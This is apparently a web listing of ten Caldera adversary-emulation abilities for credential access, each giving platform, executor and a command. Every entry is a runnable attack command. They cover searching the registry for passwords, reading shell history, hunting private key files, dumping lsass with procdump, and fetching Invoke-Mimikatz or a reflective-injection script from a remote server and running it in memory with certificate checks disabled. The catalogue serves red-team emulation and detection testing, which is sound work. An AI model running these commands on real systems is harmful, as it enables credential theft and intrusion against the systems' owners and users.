Caldera emulation abilities
10 runnable adversary-emulation actions · command + platform · mapped to ATT&CK
All tactics
build-capabilities · 1 collection · 16 command-and-control · 6 credential-access · 10 defense-evasion · 15 detection · 8 discovery · 67 execution · 9 exfiltration · 13 hunt · 4 impact · 8 lateral-movement · 10 persistence · 3 privilege-escalation · 8 response · 14 setup · 10 technical-information-gathering · 1 training · 6 verification · 2
⚠
Abilities
10 shown of 10Credentials in Registry - HKCU
Search for possible credentials stored in Registry
Show command
[{"platform": "windows", "executor": "psh", "command": "reg query HKCU /f password /t REG_SZ /s\n"}]Credentials in Registry - HKLM
Search for possible credentials stored in the HKLM Hive
Show command
[{"platform": "windows", "executor": "psh", "command": "reg query HKLM /f password /t REG_SZ /s\n"}]Dump history
Get contents of bash history
Show command
[{"platform": "darwin", "executor": "sh", "command": "find ~/.bash_sessions -name '*' -exec cat {} \\; 2>/dev/null"}, {"platform": "linux", "executor": "sh", "command": "cat ~/.bash_history"}]Find private keys
Find private keys on the file system
Show command
[{"platform": "windows", "executor": "psh", "command": "foreach($i in @(\".key\",\".pgp\",\".gpg\",\".ppk\",\".p12\",\".pem\",\".pfx\",\".cer\",\".p7b\",\".asc\",\".crt\")){Get-ChildItem -Path c:\\ -Depth 3 -File -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.name -Match \"$i$\"}}\n"}, {"platform": "windows", "executor": "cmd", "command": "for %i in (\\.key \\.pgp \\.gpg \\.ppk \\.p12 \\.pem \\.pfx \\.cer \\.p7b \\.asc) do (dir c:\\ /b /s .key | findstr /e \"%i\")\n"}, {"platform": "darwin", "executor": "sh", "command": "for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /Users -maxdepth 3 -name \"*${i}\" 2>/dev/null;done;\n"}, {"platform": "linux", "executor": "sh", "command": "for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name \"*${i}\" 2>/dev/null;done;"}]Inject Cred dumper into process (Spookier)
Injects cred dumper exe into an available process
Show command
[{"platform": "windows", "executor": "psh", "command": "$url=\"#{server}/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"file\",\"debugger.dll\");\n$PBytes = $wc.DownloadData($url);\n$wc1 = New-Object System.net.webclient;\n$wc1.headers.add(\"file\",\"Invoke-ReflectivePEInjection.ps1\");\nIEX ($wc1.DownloadString($url));\nInvoke-ReflectivePEInjection -PBytes $PBytes -verbose"}]Leverage Procdump for lsass memory
Dump lsass for later use with mimikatz
Show command
[{"platform": "windows", "executor": "psh", "command": "$ps_url = \"https://download.sysinternals.com/files/Procdump.zip\";\n$download_folder = \"C:\\Users\\Public\\\";\n$staging_folder = \"C:\\Users\\Public\\temp\";\nStart-BitsTransfer -Source $ps_url -Destination $download_folder;\nExpand-Archive -LiteralPath $download_folder\"Procdump.zip\" -DestinationPath $staging_folder;\n$arch=[System.Environment]::Is64BitOperatingSystem;\n\nif ($arch) {\n iex $staging_folder\"\\procdump64.exe -accepteula -ma lsass.exe\" > $env:APPDATA\\error.dmp 2>&1;\n} else {\n iex $staging_folder\"\\procdump.exe -accepteula -ma lsass.exe\" > $env:APPDATA\\error.dmp 2>&1;\n}\nremove-item $staging_folder -Recurse;\n"}]MiniDumpWriteDump (Spooky)
Custom GO credential dumper using minidumpwritedump
Show command
[{"platform": "windows", "executor": "psh", "command": ".\\totallylegit.exe #{host.process.id} C:\\Users\\Public\\creds.dmp\n"}]Powerkatz (Staged)
Use Invoke-Mimikatz
Show command
[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\invoke-mimi.ps1;\nInvoke-Mimikatz -DumpCreds\n"}]Run PowerKatz
Use powerkatz to execute mimikatz and attempt to grab plaintext and/or hashed passwords
Show command
[{"platform": "windows", "executor": "psh", "command": "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };\n$web = (New-Object System.Net.WebClient);\n$result = $web.DownloadString(\"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1\");\niex $result; Invoke-Mimikatz -DumpCreds\n"}]Sniff network traffic
Perform a packet capture
Show command
[{"platform": "windows", "executor": "psh", "command": "$path = \"$ENV:UserProfile\\Desktop\\pcap.etl\";\nNew-NetEventSession -Name \"PCAP\" -CaptureMode SaveToFile -LocalFilePath $path;\nAdd-NetEventProvider -Name \"Microsoft-Windows-TCPIP\" -SessionName \"PCAP\";\nStart-NetEventSession -Name \"PCAP\";\nStart-Sleep -s 60;\nStop-NetEventSession -Name \"PCAP\";\nif (Test-Path $path) {\n echo $path;\n exit 0;\n} else {\n echo \"Failed to generate PCAP file.\";\n exit 1;\n};\n"}, {"platform": "darwin", "executor": "sh", "command": "tcpdump -i en0 & sleep 5; kill $!\n"}]Showing 1-10 of 10